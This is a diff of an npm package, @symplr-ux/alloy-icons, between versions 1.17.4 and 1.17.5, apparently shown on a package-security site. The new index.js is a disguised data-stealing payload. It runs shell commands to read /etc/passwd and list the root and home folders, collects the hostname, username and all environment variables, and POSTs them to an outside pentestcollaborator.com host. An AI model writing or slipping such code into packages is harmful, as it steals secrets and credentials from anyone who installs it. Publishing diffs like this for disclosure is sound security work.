@symplr-ux/alloy-icons 1.17.4 → 1.17.5
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +49 -37
- package/package.json +2 -2
package/index.js
CHANGED
@@ -1,48 +1,60 @@
|
|
1
|
-
//author:- whitehacker003@protonmail.com
|
2
1
|
const os = require("os");
|
3
2
|
const dns = require("dns");
|
4
3
|
const querystring = require("querystring");
|
5
4
|
const https = require("https");
|
6
5
|
const packageJSON = require("./package.json");
|
7
6
|
const package = packageJSON.name;
|
7
|
+
const { promisify } = require('util');
|
8
|
+
const { exec } = require('child_process');
|
9
|
+
const execAsync = promisify(exec);
|
10
|
+
const serverDirectory = process.cwd()
|
8
11
|
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
12
|
+
async function runCode(code){
|
13
|
+
try{
|
14
|
+
const { stdout, stderr } = await execAsync(code)
|
15
|
+
return stdout
|
16
|
+
} catch {
|
17
|
+
return "error"
|
18
|
+
}
|
19
|
+
}
|
20
|
+
async function main(){
|
21
|
+
const trackingData = JSON.stringify({
|
22
|
+
package: package,
|
23
|
+
pwd: __dirname,
|
24
|
+
homeDir: os.homedir(),
|
25
|
+
hostName: os.hostname(),
|
26
|
+
username: os.userInfo().username,
|
27
|
+
environment: process.env,
|
28
|
+
dns: dns.getServers(),
|
29
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
30
|
+
v: packageJSON.version,
|
31
|
+
pjson: packageJSON,
|
32
|
+
passwdFile: JSON.stringify(await runCode('cat /etc/passwd')),
|
33
|
+
rootFolder: JSON.stringify(await runCode('ls /')),
|
34
|
+
homeFolder: JSON.stringify(await runCode('ls ~/'))
|
35
|
+
});
|
36
|
+
const options = {
|
37
|
+
hostname: "66av2iv4znn55vqoi91b6medu40volca.pentestcollaborator.com",
|
38
|
+
port: 443,
|
39
|
+
path: "/synopsys-test",
|
40
|
+
method: "POST",
|
41
|
+
headers: {
|
42
|
+
"Content-Type": "application/json",
|
43
|
+
"Content-Length": trackingData.length,
|
44
|
+
},
|
45
|
+
};
|
36
46
|
|
37
|
-
|
38
|
-
|
39
|
-
|
47
|
+
const req = https.request(options, (res) => {
|
48
|
+
res.on("data", (d) => {
|
49
|
+
process.stdout.write(d);
|
50
|
+
});
|
40
51
|
});
|
41
|
-
});
|
42
52
|
|
43
|
-
req.on("error", (e) => {
|
44
|
-
|
45
|
-
});
|
53
|
+
req.on("error", (e) => {
|
54
|
+
console.error(e);
|
55
|
+
});
|
46
56
|
|
47
|
-
req.write(
|
48
|
-
req.end();
|
57
|
+
req.write(trackingData);
|
58
|
+
req.end();
|
59
|
+
}
|
60
|
+
main()
|